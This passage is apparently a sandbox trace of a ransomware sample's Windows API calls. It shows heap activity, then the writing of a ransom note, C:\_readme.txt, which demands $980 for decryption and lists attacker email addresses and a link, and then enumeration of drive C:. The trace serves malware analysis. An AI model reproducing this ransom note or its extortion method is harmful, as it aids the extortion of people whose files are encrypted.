(HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0116.973] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.973] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0116.973] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0116.973] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0116.973] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0116.974] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0116.974] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.974] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.974] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.974] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.974] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.974] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0116.974] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.974] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0116.974] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0116.974] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.974] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0116.974] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.974] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.974] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.974] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.974] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.974] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.974] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.974] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.974] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.974] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.974] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.974] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.974] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.974] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.974] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.974] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.974] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0116.974] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.974] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0116.974] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.975] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.975] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0116.975] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0116.975] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0116.975] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0116.975] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.975] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.975] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.975] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.975] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.975] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0116.975] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.975] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0116.975] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0116.975] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.975] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0116.975] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.975] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.975] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.975] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.975] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.975] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.975] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.975] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.975] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.975] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.975] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.975] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.975] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.975] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.975] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.976] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.976] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0116.976] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.976] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0116.976] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.976] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.976] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0116.976] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0116.976] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0116.976] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0116.976] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.976] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.976] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.976] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.976] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.976] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0116.976] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.976] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0116.976] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0116.976] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.976] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.976] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.976] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.976] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.976] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.976] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.976] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.976] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.976] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.976] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.976] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.976] PathFindFileNameW (pszPath="") returned="" [0116.977] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0116.977] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0116.977] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x800) returned 0x61eeac0 [0116.977] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.977] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x810) returned 0x676ab00 [0116.977] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164e60 [0116.977] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.977] FreeLibrary (hLibModule=0x757a0000) returned 1 [0116.977] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164e60 | out: hHeap=0x35b0000) returned 1 [0116.977] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0116.977] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x806) returned 0x61eeac0 [0116.977] PathAppendW (in: pszPath="C:\\", pMore="_readme.txt" | out: pszPath="C:\\_readme.txt") returned 1 [0116.977] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x810) returned 0x676ab00 [0116.977] PathFileExistsW (pszPath="C:\\_readme.txt") returned 0 [0116.978] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x7d00) returned 0x6770cd0 [0116.978] lstrcpyW (in: lpString1=0x6770cd0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0116.978] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0116.978] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x810) returned 0x676b388 [0116.978] CreateFileW (lpFileName="C:\\_readme.txt" (normalized: "c:\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0116.979] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x8d0) returned 0x61ef2d0 [0116.979] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x861) returned 0x67789d8 [0116.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN", cchWideChar=-1, lpMultiByteStr=0x67789d8, cbMultiByte=2145, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN", lpUsedDefaultChar=0x0) returned 1122 [0116.979] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x870) returned 0x6779248 [0116.979] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x67789d8 | out: hHeap=0x35b0000) returned 1 [0116.979] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61ef2d0 | out: hHeap=0x35b0000) returned 1 [0116.979] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned 1121 [0116.980] WriteFile (in: hFile=0x618, lpBuffer=0x6779248*, nNumberOfBytesToWrite=0x461, lpNumberOfBytesWritten=0x6a5fb64, lpOverlapped=0x0 | out: lpBuffer=0x6779248*, lpNumberOfBytesWritten=0x6a5fb64*=0x461, lpOverlapped=0x0) returned 1 [0116.980] CloseHandle (hObject=0x618) returned 1 [0116.981] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6779248 | out: hHeap=0x35b0000) returned 1 [0116.981] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0116.981] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6770cd0 | out: hHeap=0x35b0000) returned 1 [0116.981] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0116.981] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x6183848 [0116.981] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164e60 [0116.982] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161640 [0116.982] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164e60 | out: hHeap=0x35b0000) returned 1 [0116.982] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0116.982] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x1c) returned 0x6164e60 [0116.982] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x61616b0 [0116.982] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161678 | out: hHeap=0x35b0000) returned 1 [0116.982] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161640 | out: hHeap=0x35b0000) returned 1 [0116.982] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0116.982] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164ed8 [0116.982] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.982] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x38) returned 0x6183888 [0116.982] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161640 [0116.982] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61616b0 | out: hHeap=0x35b0000) returned 1 [0116.982] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164e60 | out: hHeap=0x35b0000) returned 1 [0116.982] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164e60 [0116.982] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0116.982] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164ed8 | out: hHeap=0x35b0000) returned 1 [0116.982] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0116.982] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, 